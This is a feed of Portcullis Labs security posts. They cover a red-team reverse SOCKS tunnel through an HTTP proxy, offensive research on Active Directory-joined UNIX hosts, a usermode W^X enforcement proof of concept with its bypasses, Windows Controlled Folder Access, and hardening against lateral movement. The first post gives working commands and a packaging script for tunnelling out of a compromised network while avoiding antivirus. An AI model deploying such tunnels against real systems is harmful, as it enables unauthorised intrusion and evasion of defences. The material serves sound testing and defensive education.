Portcullis Labs » Windows https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/ https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/#comments Fri, 25 Jan 2019 11:36:11 +0000 https://labs.portcullis.co.uk/?p=6813 In the context of a Red Team assessment, in this post I’ll look at some options for using SOCKS to gain external access to an internal network. I’ll cover the obvious methods and why I’m overlooking them, a crude method using standard tools (this post) and a more refined approach using modified tools (in part 2). […]

The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.

]]>
In the context of a Red Team assessment, in this post I’ll look at some options for using SOCKS to gain external access to an internal network. I’ll cover the obvious methods and why I’m overlooking them, a crude method using standard tools (this post) and a more refined approach using modified tools (in part 2).

I recently spent quite a long time preparing for the CREST Certified Simulated Attack Specialist exam. While I won’t be discussing exam content (which I’m under NDA for), I thought it could be beneficial to write up at least some of the interesting stuff that I prepared prior to sitting the exam.

I spent a lot of time testing my tools and techniques against 5 different Anti-Virus (AV) products. I wanted to be sure that I had enough options available to me during the exam to operate efficiently, even if AV was present.  One scenario that I wanted to be prepared for was:

  • Having a foothold (command execution) on a Windows system in an internal network; but
  • being unable to deploy my normal C2 software (Cobalt Strike / Meterpreter) due to Anti-Virus / Endpoint Protection.

My practice had shown that I was able to deploy my C2 software of choice onto only 4 out 5 test systems. So this seemed like something I needed to prepare for. Just in case.

In parallel with this, I’d found that performance of SOCKS over a reverse HTTPS connection was barely adequate for tunneling an RDP connection. So I was interested in finding a solution that was:

  • Faster
  • Worked through a proxy; and
  • Worked in the presence of my nemesis AV product

My instinct was to try to SSH out of the network and use the SOCKS proxy built into SSH.  There were a few problems with this approach:

  1. I needed an SSH client – which I could solve by using Putty (read on for the reason I didn’t use plink)
  2. I needed to get an SSH connection out of the network – which could probably do via the proxy using HTTP CONNECT in the same way used for legitimate TLS connections
  3. SSH allows SSH clients to send traffic through a SOCKS proxy running on the SSH server. This was the opposite to what I needed. I needed the SSH server (on the “internet”) to be able to access a SOCKS Proxy running on the SSH Client. Which is a Windows box in this scenario. If the compromised host had been a *NIX host, I could potentially have SSH’d to localhost with the -D option to get the SOCKS server running, then made a second connection to the Internet to port-forward access to the SOCKS service
Communication Flow between Devices
image-6814

Communication flow between devices

Solving (3): SOCKS server

To solve (3) I looked for a small command line SOCKS proxy that ran on Windows. I did find some, but they all felt a bit dodgy and some said on their website that they definitely weren’t malware, despite what AV products said. Which is probably true, but it made them a poor option if I wanted to operate in the presence of AV.

Eventually I stumbled on a SOCKS5 implementation written in golang written by Armon Dagar. I’d heard that golang malware would be on the rise in 2019, so this was a good opportunity for me to waste valuable revision time on a side-interest. I’d never even compiled a golan program before. If this wasn’t too hard, it would be a nice cross-platform solution for my needs.

$ mkdir -p ~/go/src
$ cd !$
$ git clone https://github.com/armon/go-socks5
$ mv go-socks5 socks5
$ cd socks5
$ go build

No errors :-)

But no server either. This is just a library! You need to write some code to use it. :-(

Fortunately, the author provides an example that’s easily adapted:

mkdir -p ~/go/src/mysocks5
cd !$
$ cat << EOF > mysocks.go
// Create a SOCKS5 server
package main
import "socks5"

func main() {
  conf := &socks5.Config{}
  server, err := socks5.New(conf)
  if err != nil {
    panic(err)
  }

  // Create SOCKS5 proxy on localhost port 1080
  if err := server.ListenAndServe("tcp", "127.0.0.1:1080"); err != nil {
    panic(err)
  }
}
EOF
go build

Done! I now had a “mysocks5″ executable. And it worked. Repeating similar steps on Windows gave me a working mysocks5.exe. I was starting to like golang at this point.

Solving (1): Putty configuration

After getting almost to the finish line with the following plink command, I couldn’t specify an HTTP proxy from the command line:

plink -N -P 443 -i puttykey.priv.ppk -R 2080:127.0.0.1:1080 -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a tunnnel@192.168.0.1

A quick overview of options here:

  • -N: – I don’t need a shell, just an SSH connection for port forwarding
  • -P 443 – Target port 443, not 22 since the proxy is likely to restrict us in this way
  • -i puttykey.priv.ppk – The private key to access my listening SSH server, I needed logon to be non-interactive, obviously
  • -R 2080:127.0.0.1:1080 – Open a listening port (2080) on the SSH server and forward connections to that port to 127.0.0.1:1080 on the SSH client
  • -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a – We don’t want any warnings or questions about unverified host keys
  • tunnnel@192.168.0.1 – Log into 192.168.0.1 as user tunnel

Using the normal putty.exe GUI, I saved a session that specified all of the above detail, plus the required proxy settings (unauthenticated in the case of my lab):

Proxy Settings for SSH Connection in Putty
image-6815

Proxy settings for SSH connection in Putty

I saved a putty session called myproxy, then retried plink:

plink -load myproxy

It crashed. Hence, why I’m not using plink.  Putty works fine, though:

putty -load myproxy

Well, sort of fine. The victim user would have a suspicious-looking putty window pop up alongside the mysocks console window. But this is just a PoC. Let’s ignore these missing optimisations!

How the attack looks from user' class=
image-6816

How the attack looks from user’s perspective

On the server-side, we see a network listener on port 2080.

tcp 0 0 0.0.0.0:2080 0.0.0.0:* LISTEN

I wanted the service bound to 0.0.0.0 for my environment, but consider that anyone with network access could abuse your SOCKS proxy.

This provides a relatively high-performance SOCKS server – much better than those laggy SOCKS-over-reverse-HTTPS connections. Implants typically poll periodically over HTTPS, which means that traffic can only be sent when the implant calls home. The above method is more akin to SOCKS-over-reverse-TCP. Data can be sent in either direction immediately without waiting for a check-in. Arguably, the above method will create a more suspicious traffic pattern and some application-layer aware proxies won’t allow it (though tunneling over SSL could help).

Packaging it up

To deliver above attack, we need to package up the software and configuration so it can be run from the command line. We’ll assume that we can upload and unpack zip files for this part (or the post will get too long). I included the following in myproxy.zip:

  • putty.exe
  • mysocks5.exe
  • myproxy.reg – Created by doing “reg export HKCU\Software\SimonTatham myproxy.reg”, then removing unnecessary configuration data in a text editor
  • puttykey.priv.ppk – Created using puttygen, be sure to copy the openssh-format public key into ~tunnel/.ssh/authorized_key on the SSH server too
  • mysocks.bat – See below

To deploy, we need to run mysocks.bat, which does the following:

reg import myproxy.reg
start mysocks5
putty -load myproxy

All finished. We can pivot through our fast SOCKS proxy. For example, to access RDP on the internal network, I’d do something like:

$ cat /etc/proxychains.conf
...
socks5  127.0.0.1 2080
$ proxychains remmina

Where remmina is a pretty awesome RDP client for Linux. You can also use proxifier on Windows if you’d rather use mstsc.exe.

Conclusion

We showed a PoC to get a reverse SOCKS connection out of a network using tools that won’t trigger AV. They don’t require privileges run, so would work against an unprivileged windows user. The connection is faster than if we’d used the SOCKS features of C2 solutions that use polling reverse-HTTPS connections.

Our attack is untidy because the user can see everything that happens! It’s also awkward to set up because of the registry export and required packaging.

Further Reading

  • Chisel is a tool that can create a SOCKS-over-SSH-over-CONNECT-HTTP tunnel in the opposite direction the direction I needed
  • Crowbar is a tool that lets you do port forwarding over HTTP channels (no reliance on the proxy CONNECT method)

The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/feed/ 0
An offensive introduction to Active Directory on UNIX https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/ https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/#comments Thu, 06 Dec 2018 09:18:36 +0000 https://labs.portcullis.co.uk/?p=6805 By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests. Background to Active Directory integration […]

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests.

Background to Active Directory integration solutions

Having seen an uptick in unique UNIX infrastructures that are integrated into customers’ existing Active Directory forests, the question becomes, “Does this present any concerns that may not be well understood?” This quickly became “What if an adversary could get into a UNIX box and then breach your domain?”
Within a typical Active Directory integration solution (in this case SSSD), the solution shares a striking similarity to what a user might see on Windows. Notably, you have:

  • DNS – Used for name resolution
  • LDAP – Used for “one-time identification” and assertion of identity
  • Kerberos – Used for ongoing authentication
  • SSSD – Like LSASS
  • PAM – Like msgina.dll or the more modern credential providers

You can see a breakdown of this process here. Unlike Windows, there is no Group Policy for the most part (with some exceptions), so policies for sudo et al. are typically pushed as flat files to hosts.

Our research

Realistically, the threat models associated with each part of the implementation should be quite familiar to anyone securing a heterogeneous Windows network. Having worked with a variety of customers, it becomes apparent that the typical UNIX administrator who does not have a strong background in Windows and Active Directory will be ill-equipped to handle this threat. While we’ve been talking about successful attacks against components such as LSASS and Kerberos for quite some time, Mimikatz dates back to at least April 2014, and dumping hashes has been around even longer. Pwdump, which dumped local Windows hashes, was published by Jeremy Allison in 1997). However, no one has really taken a concerted look at whether these attacks are possible on UNIX infrastructure, nor how a blue team might spot an adversary performing them.

As a result of this research, we were able to develop tactics, tools, and procedures that might further assist an attacker in breaching an enterprise, and we began documenting and developing appropriate strategies to allow blue teams to appropriately detect and respond to such incursions. The Black Hat EU slides can be found here and whilst the tools we developed can be found on our GitHub repo.

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/feed/ 0
Where 2 worlds collide: Bringing Mimikatz et al to UNIX https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/ https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/#comments Thu, 06 Dec 2018 08:04:06 +0000 https://labs.portcullis.co.uk/?p=6806 Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018). Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may […]

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018).

Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may not be as well understood by a typical UNIX admin who does not have a strong background in Windows and AD. Over the last few months we’ve spent some time looking a number of specific Active Directory integration solutions (both open and closed source) for UNIX systems and documenting some of the tools, tactics and procedures that enable attacks on the forest to be staged from UNIX.

This talk describes the technical details regarding our findings. It includes Proof of Concepts (PoC) showing real-world attacks against AD joined UNIX systems. Finally, potential solutions or mitigation controls are discussed that will help to either prevent those attacks or at the very least to detect them when they occur.

Tools referenced in this talk include:

Eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX
724.9 KiB
MD5 hash: cc712c5e46b16fbff22a2566b1248a91
Details

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/feed/ 0
Enforcing a write-xor-execute memory policy from usermode https://labs.portcullis.co.uk/blog/enforcing-a-write-xor-execute-memory-policy-from-usermode/ https://labs.portcullis.co.uk/blog/enforcing-a-write-xor-execute-memory-policy-from-usermode/#comments Fri, 02 Feb 2018 02:21:20 +0000 https://labs.portcullis.co.uk/?p=6399 If BuzzFeed ran an article titled “26 Security Features You Probably Shouldn’t Enforce From Usermode”, this one would almost certainly make the list. But, for whatever reason, I thought it would be a fun learning experience to try to enforce a W^X memory policy from usermode. Some of you are probably asking what the heck […]

The post Enforcing a write-xor-execute memory policy from usermode appeared first on Portcullis Labs.

]]>
If BuzzFeed ran an article titled “26 Security Features You Probably Shouldn’t Enforce From Usermode”, this one would almost certainly make the list. But, for whatever reason, I thought it would be a fun learning experience to try to enforce a W^X memory policy from usermode. Some of you are probably asking what the heck a W^X policy is in the first place, and I’m terrible at thinking of ways to start blog posts (case in point: this paragraph), so I guess we’ll start out there.

What’s a W^X policy, anyway?

W^X is an exploit mitigation tactic in which memory pages that are, or have ever been, marked as writable can never be marked as executable during the process lifetime. The old exploit tactic of putting your exploit payload on the stack (or heap) and calling it directly was killed off with no-execute (NX, also known as hardware DEP on Windows) support, which made ret2libc/ROP approaches much more popular. ROP involves finding small pieces of existing executable code in the application and its libraries, chaining them together using the stack, with the goal of calling an API or two to allocate some executable memory for the payload to be copied into. On Windows this is usually done with a ROP chain to the VirtualAlloc() API, passing PAGE_EXECUTE_READWRITE() in order to allow for both writing the data in and executing it afterwards.

Enforcing a W^X policy breaks this approach, as an exploit cannot allocate memory as RWX, or as RW and then later executable. Applications in Windows 8.1 and later can opt into a W^X policy, enforced by the kernel, this using the SetProcessMitigationPolicy() API with the ProcessDynamicCodePolicy() argument. Of course, this is also the boring way (at least for this article).

The small print

I’m not going to make you read a sixty-eight page EULA and sign your life away on the dotted line, but there are things you should know before you gallivant away with some source code and a dream of securing your applications:

  1. I am a terrible C++ programmer. You should absolutely not use my code in production
  2. This is a proof-of-concept, so you still absolutely should not use it in production. And probably not any other context than “I want to learn how this works” or “I want to torture my eyes by reading wonky code”
  3. While some effort has been made to make the PoC thread-safe, there are some race conditions (probably security-critical ones) that exist and I haven’t done anything to fix for reasons of keeping the code fairly simple
  4. Only VirtualAlloc(), VirtualProtect(), and VirtualFree() are hooked. There are ways to get around this (e.g. calling `ntdll` functions directly, or using `Ex` suffix variants) so, again, don’t expect any concrete security from this
  5. In case you didn’t already get the memo, implementing this kind of security feature from usermode is colossally silly, particularly when the OS offers a proper version that is enforced in the kernel. An attacker who expects this usermode “protection” can tailor their exploit to bypass it in most cases
  6. Just like the kernelmode version, this breaks any application that uses JIT compilation. So that means all browsers, anything that uses Java, .NET, or a modern JavaScript engine. It also means things that embed a web frame

Caveat emptor, and all that.

How does this thing work?

The actual approach is fairly simple:

  1. Hook APIs
  2. Reject calls that would result in a page being writable and executable at the same time
  3. Track calls that result in a page being writable, and deny future calls that would make those pages executable

The grunt work involved with hooking APIs is fairly boring, so I enlisted the help of the mhook library by Marton Anka. This library provides a really intuitive way of hooking APIs:

Mhook_SetHook((PVOID*)&OriginalVirtualAlloc,   HookedVirtualAlloc);
Mhook_SetHook((PVOID*)&OriginalVirtualProtect, HookedVirtualProtect);
Mhook_SetHook((PVOID*)&OriginalVirtualFree,    HookedVirtualFree);

Each call to Mhook_SetHook() takes a pointer to the original API as the first parameter, and a pointer to the hooked version you want to replace it with.

VirtualAlloc hook

The VirtualAlloc hook checks if flProtect is either PAGE_EXECUTE_READWRITE or PAGE_EXECUTE_WRITECOPY. The former is the general-case RWX protection, and the latter is used when the segment of memory is a memory-mapped file. If either of these protection options are detected, the operation is failed with an access denied error.

Next, we perform the requested VirtualAlloc() call via OriginalVirtualAlloc. If this succeeds, we check to see if the requested allocation contained a writable flag (e.g. PAGE_READWRITE or PAGE_WRITECOPY) and, if so, add that allocation’s page address and allocation size to a tracking list. This allows us to later reject requests to make these pages executable, as they have been tainted with the writable mark.

VirtualProtect hook

The VirtualProtect hook is the most involved. As with VirtualAlloc it first rejects RWX protections outright. It then checks to see if the requested protection is executable and, if so, checks if the page exists within the boundary of a tracked writable allocation, i.e. if it starts within one, ends within one, or starts before and ends after one. This prevents tricks like allocating a small chunk of writable memory inside a larger readonly block, then calling VirtualProtect() over the whole block to make it all executable.

In order to protect against abuse of writable memory that was pre-allocated by the loader (e.g. the .data section) the code also calls VirtualQuery() to test the existing protection status of the memory, just in case we aren’t tracking it.

Another case we need to handle is similar to the VirtualAlloc() call. If the call is making memory writable, we need to track it. First we check if the exact allocation is already present in our tracked list, then if it isn’t we add it. It doesn’t matter if we have overlapping tracking metadata for writable allocations – we handle this case in our hooked VirtualFree(). Speaking of which…

VirtualFree hook

This hook is fairly simple. We just iterate over every item in the tracked allocations and remove them if they cover the address being freed.

Testing

The initial driver for me writing this code, before I decided to implement a full W^X policy with it, was to test for cases where an application under test would attempt to allocate RWX buffers, and if they actually needed those buffers to be executable (i.e. swap RWX for RW and see if you get a crash). For fun, I injected this DLL into a bunch of different programs. Many (e.g. notepad, calc) just work without problems, as they don’t rely on RWX memory at all. A number of others (e.g. Chrome, Spotify) crash due to JIT code that runs inside the process. It was quite fun to watch these allocations occur in realtime via debug messages.

Bypasses

There are a number of ways to bypass the PoC as it stands. I thought about eliminating them, but I think it’s more fun to go through the code and identify the problems.

The first and most obvious way is to ROP to GetModuleHandle() and find the original APIs that way, totally bypassing the checks. It is possible to fix this to some extent by hooking GetModuleHandle() and similar APIs, but this mostly ends up as a cat-and-mouse game. This is why you should implement this stuff in kernelmode.

The second way is a race condition. In both VirtualAlloc and VirtualProtect hooks we call the original function, then lock the tracking list and add the new allocation to the tracked list. It is possible to call either of these functions twice. This can be fixed with a global allocation mutex.

There’s also a potential TOCTOU race condition in our VirtualProtect hook, where we check the page protection using VirtualQuery and later potentially call VirtualAlloc based on the result. However, the attacker would have to get the application to call the unhooked VirtualProtect in order to exploit this particular issue.

Finally there’s a really interesting case – marking a page as writable, filling it with data, freeing it, then re-allocating as read-execute and hoping that you get the same page back before it gets reset to zeroes by the OS. In fact, when I thought of this issue, I wondered whether I might have stumbled across a potential mitigation bypass in the real W^X implementation for Windows, and my eyes turned into dollar signs. Thankfully (or sadly) the clever folks at Microsoft thought of this already, and forced every released page to be reset.

Closing words

I hope that this ham-fisted approach to implementing W^X has been of some educational use, at least in terms of thinking about how the protection can be implemented in practice. If you’d like to follow along at home, the code can be found in the WXPolicyEnforcer project on the Portcullis Labs GitHub. It is released under MIT license.

The post Enforcing a write-xor-execute memory policy from usermode appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/enforcing-a-write-xor-execute-memory-policy-from-usermode/feed/ 0
Windows 10’s “Controlled Folder Access” feature https://labs.portcullis.co.uk/blog/windows-10s-controlled-folder-access-feature/ https://labs.portcullis.co.uk/blog/windows-10s-controlled-folder-access-feature/#comments Thu, 16 Nov 2017 09:44:52 +0000 https://labs.portcullis.co.uk/?p=6110 Microsoft released a rolling upgrade of Windows 10 in October 2017. The “Fall Creators” edition (version 1709, codename Redstone 3) contains a new feature called “Controlled Folder Access”, which is designed to combat ransomware attacks. Controlled Folder Access is part of Windows Defender Security Centre that works with Windows Defender Anti-Virus to prevent “suspicious” executable […]

The post Windows 10’s “Controlled Folder Access” feature appeared first on Portcullis Labs.

]]>
Microsoft released a rolling upgrade of Windows 10 in October 2017. The “Fall Creators” edition (version 1709, codename Redstone 3) contains a new feature called “Controlled Folder Access”, which is designed to combat ransomware attacks.

Controlled Folder Access is part of Windows Defender Security Centre that works with Windows Defender Anti-Virus to prevent “suspicious” executable files, DLLs, and scripts from writing to (or encrypting) files within certain folders.

What folders are protected?

While additional folders can be added, the following locations will always be monitored when Controlled Folder Access is enabled:

  • User: Documents, Pictures, Videos, Music, Desktop, Favorites
  • Public: Documents, Pictures, Videos, Music, Desktop

How does Windows determine what `suspicious’ code is?

It’s what Windows Defender Anti-Virus identifies. As such Controlled Folder Access relies on Windows Defender Anti-Virus to be running.

What about application false positives?

It may be the case that legitimate applications are incorrectly flagged by Windows Defender Anti-Virus as being `suspicious’ preventing or hindering legitimate use. Such applications can be white-listed.

To facilitate this, Controlled Folder Access supports an `audit’ mode, where an event is generated when the application would normally be prevented from writing to a protected folder. Those events can be reviewed to identify legitimate applications that can be added to the white-list.

Is Controlled Folder Access enabled by default? How do I configure it?

Controlled Folder Access is not enabled by default and can be configured via:

  • The User Interface
  • Group Policy (a Group Policy would need to be configured on a system that contains the correct administrative templates for the options to be available for selection): Computer Configuration > Administrative Templates > Windows Components > Windows Defender Anti-Virus > Windows Defender Exploit Guard > Controlled Folder Access
  • Manual Registry modification (i.e. via a script)
  • PowerShell cmdlets:
Set-MpPreference -EnableControlledFolderAccess [Enable | Disable | Audit]
Add-MpPreference -ControlledFolderAccessProtectedFolders c:\path\to\protect,c:\other\path
Remove-MpPreference -ControlledFolderAccessProtectedFolders c:\path\to\no\longer\protect

Note: Set-MpPreference can also be used to specify folder items but will clear the list first, whereas Add-MpPreference adds to the list.

What Registry keys are used by Controlled Folder Access?

Is Controlled Folder Access enabled?

Registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exploit Guard\Controlled Folder Access
Registry Key: GuardMyFolders
Key Type: REG_DWORD
Key Value: 0

Protected Folders

Registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exploit Guard\Controlled Folder Access\ProtectedFolders
Registry Key: audit
Key Type: REG_DWORD
Key Value: 0

To specify protected folders:

Registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exploit Guard\Controlled Folder Access\ProtectedFolders
Registry Key: Full path to protect, i.e. c:\test
Key Type: REG_DWORD
Key Value: 0</code>

What can be protected? Any limitations?

Network shares and mapped drives can be protected, but Controlled Folder Access does not support the use of:

  • Environment Variables
  • Wildcards
  • The Windows drive (typically C:\)

Seriously, don’t protect the entire Windows drive as Windows will be unable to function correctly and strange behaviour will result.

What happens when write access is blocked?

A notification is displayed that provides the path of the executable that was blocked, and the path of protected folder that the write attempt was for. This information is also recorded in the event log, using the following event values:

  • Event ID: 5007: Event when settings are changed
  • Event ID: 1124: Audited Controlled folder access event
  • Event ID: 1123: Blocked Controlled folder access event

The following image shows the notification of a write action being blocked:

Blocked write access notification
image-6111

Can the blocked write notification message be customised?

Yes, at least for Enterprise environments. Providing details of who to contact (service desk, IT Security, etc.) can be included in the notification message via the following Group Policy settings:

Computer Configuration > Policies > Adminstrative Templates > Windows Components > Windows Defender Security Center > Enterprise Customization
  •  Set “Configure customized contact information” to “Enabled”
  •  Set “Configure customized notifications” to “Enabled”
  •  Set “Specify contact compant name” to “Enabled” and add the company details
  •  Enable and set at least one of the following:
    • “Specify contact email address or EmailID”
    • “Specify contact phone number or Skype ID”
    • “Specify contact web site”

Does Controlled Folder Access work with third-party Anti-Virus applications?

No, or at least not in the tests performed when writing this post. Controlled Folder Access requires the use of Windows Defender Anti-Virus to be active.

Most third-party Anti-Virus solutions replace existing products, and attempting to run multiple Anti-Virus solutions at the same time can significantly hinder system performance, or even lead to each one preventing the other from being able to scan files or removable drives which could lower protections. One Anti-Virus program might flag others as being infected (i.e. triggering on the detection patterns) or malicious, and quarantine key files – potentially breaking that product.

How can I tell Controlled Folder Access and Notifications are configured and working?

Microsoft have produced an ExploitGuard CFA File Creator tool to trigger Controlled Folder Access actions, which causes notifications to be displayed.

Details on the ExploitGuard CFA Demo Tool, and a link to download it, can be found on Microsoft’s web site.

Conclusion

For home users or business that do not have a corporate Anti-Virus solution, Windows Defender Anti-Virus and Controlled Folder Access will be better than nothing.
However, larger businesses typically have existing enterprise-wide Anti-Virus solutions in which significant time and effort (and money) has been invested. It would be difficult to convince the IT Security teams of such companies to throw out that investment, so I don’t expect Controlled Folder Access to be used much in large businesses.

Controlled Folder Access is a new feature, and it may be that Microsoft modify it to work with third-party Anti-Virus products in the future.

The post Windows 10’s “Controlled Folder Access” feature appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/windows-10s-controlled-folder-access-feature/feed/ 0
Hindering Lateral Movement https://labs.portcullis.co.uk/blog/hindering-lateral-movement/ https://labs.portcullis.co.uk/blog/hindering-lateral-movement/#comments Fri, 27 Oct 2017 12:53:52 +0000 https://labs.portcullis.co.uk/?p=6092 Lateral Movement is a method used by attackers (or malware) against a network Domain. After an initial device is compromised (typically, a user’s workstation), the attacker extracts passwords from memory, or obtains encrypted password hashes from the system for cracking or direct use (i.e. Pass the Hash). The attacker then attempts to login to other […]

The post Hindering Lateral Movement appeared first on Portcullis Labs.

]]>
Lateral Movement is a method used by attackers (or malware) against a network Domain. After an initial device is compromised (typically, a user’s workstation), the attacker extracts passwords from memory, or obtains encrypted password hashes from the system for cracking or direct use (i.e. Pass the Hash). The attacker then attempts to login to other systems using those credentials to search for cached passwords of privileged Domain accounts. Usually, the local Administrator account is targeted as the password is often the same on all systems (due to the common practice of deploying systems from a master image), but service accounts, etc. can also be targeted.

In some cases, an attacker is able to move from having local Administrator access on a workstation to gaining full Domain Admin rights on the Domain in under an hour.

Since Active Directory typically controls access to highly sensitive information, it is important to try and prevent lateral attacks from working. Being able to spot these attacks would also be good.

Limit workstation to workstation communications

It is highly unusual for network users to need to directly communicate with other users’ workstations.

Configure each workstation to use a local firewall to block incoming Windows network traffic (139/TCP, 445/TCP and 137/UDP) from any workstation subnet.

If using a firewall that supports different network zones (such as the Windows Firewall), ensure the appropriate zone profiles are configured, or simply configure all profiles. If your organisation uses VoIP telephones, prevent those subnets from connecting as well to protect against either a malicious internal employee, or in case the attacker is able to convince a user to try changing network connections.

Prevent local users from logging in over the network

If an attacker finds that they cannot directly connect to other workstations to hunt for privileged cached credentials, they may attempt to compromise a server and try to login to workstations from there. To protect against this, configure the User Rights policy ‘Deny access to this computer from the network’ by adding local user accounts.

Use a local Administrator password management tool

Tools, such as Microsoft LAPS, exist that set unique passwords for the local administrator account. By using such tools, when a password exceeds its expiration date the password will be changed automatically when the Group Policy is refreshed. Avoid writing a custom password management system, as it is very difficult to implement such things without error; if an attacker is able to determine a pattern to setting the password, then that defence is gone.

Configure systems via Group Policy

To reduce the risk of credentials being captured, avoid logging into systems where not necessary. Use Group Policies to configure workstations and servers instead of directly logging into them, where possible. Systems may be configured to cache credentials when users login, and this information can be obtained by an attacker and then cracked offline to reveal the plain text password for that user account. If an attacker already has a foothold on a system and a Domain Administrator logs in, the attacker may be able to impersonate the Domain Administrator in order to utilise their privileges within the network Domain.

Use dedicated administrative accounts and workstations

An attacker can only extract privileged password data if it is present on the system. Ensure administrative users have user accounts that are separate from their day-to-day user accounts and configure them so that they cannot login to normal workstations or servers; they should only be used to login to Active Directory servers to manage them, and configure Group Policies to manage other systems.

Dedicated management workstations should not be able to access the Internet or email.

Disable ‘WDigest’

Windows supports several Security Support Providers (SSPs), used to handle authentication requests (including Single Sign On). Until recently (Window 8.1 and Server 2012 R2 or higher), Windows used by default an SSP called ‘WDigest’ – which stored user credentials in plain text in memory, allowing a process with local Administrator privileges to extract the passwords of all logged-in users.

To help address this issue, Microsoft created a new Registry key for ‘WDigest’ to disable storing plain text passwords, which can be applied to Windows, prior to 8.1 and Server 2012 R2 by installing KB2871997 and configuring the following Registry setting:

Registry Path: HKLM\System\CurrentControlSet\Control\SecurityProviders\Wdigest
Key Name: UseLogonCredential
Key Type: REG_DWORD
Key Value: 0

Alternatively, KB2871997 can be configured via Group Policy by installing the PtH.admx/adml files provided with the Microsoft Security Compliance Manager (SCM) via:

Local Policies > Administrative Templates > SCM: Pass the Hash Mitigations > Wdigest Authentication

Apply enhanced credentials protection updates

In addition to the protections added by KB2871997, Microsoft have released an updated that further protects against Pass the Hash (PtH) attacks for Windows 7, Windows 8, Server 2008 R2 and Server 2012.

KB3126593 (MS16-014)

This update adds support for the TokenLeakDetectDelaySecs Registry setting which can be used to force credentials to be cleared after a user logs off. To set clearing credentials 30 seconds after user logout (the default behaviour in Windows 8.1 and Windows 10), configure the following Registry setting:

Registry Path: HKLM\System\CurrentControlSet\Control\Lsa
Key Name: TokenLeakDetectDelaySecs
Key Type: REG_DWORD
Key Value: 30

Upgrade Windows servers and workstations

With each new version of Windows, Microsoft adds additional security features, including protections for the LSASS service to protect against credential stealing and adding additional logging options. Upgrade servers to Server 2016 and upgrade workstations to Windows 10 and configure them to make use of these new features.

Enable event monitoring and investigate alerts

A centralised logging and monitoring solution provides an opportunity for recording actions and events that take place on systems, and prevents a successful attacker from clearing the event log to hide their actions.

Configure all Windows systems to log events to a centralised system and monitor for account login attempts (both successful and unsuccessful).
Any events that reference local accounts (or Domain Administrator/privileged accounts) and not Domain accounts should be investigated as a matter of priority.

The following Windows event codes are generated by Windows 2008 and later:

  • Event ID: 4624: Account login successful
  • Event ID: 4625: Account login failed

The corresponding events for Windows 2003 and earlier:

  • Event ID: 528: Account login successful
  • Event ID: 540: Network account login successful
  • Event ID: 529: Login failure – Unknown user or bad password

Other potentially interesting event code are:

  • Event ID: 4625: An account failed to login (Windows 2008 and later)
  • Event ID: 531: Login failure – Account currently disabled (Windows 2003 and earlier)

Conclusion

A number of options have been presented to hinder Lateral Movement attacks, and some readers might be wondering which option to implement. The answer is “all of them, where possible”. Security is a “defence in depth” game, and every obstacle that an attacker has to work around is worth implementing.

In addition to hindering lateral movement, monitoring for attacks or suspicious behaviour and investigating alerts will help identify more sophisticated attacks, as well as indicating that suspicious activities are occurring.

A Red Team Assessment can be undertaken to determine the effectiveness of the security controls in place during an attack against your network. Whilst the assessment is taking place it also provides an opportunity to determine whether the internal monitoring and response capabilities intended to detect and alert when a potential attack is occurring within your network are effective. Following completion of the assessment you will have a clear view of any additional measures that should be implemented to improve both defence and monitoring capabilities within your network.

The post Hindering Lateral Movement appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/hindering-lateral-movement/feed/ 0
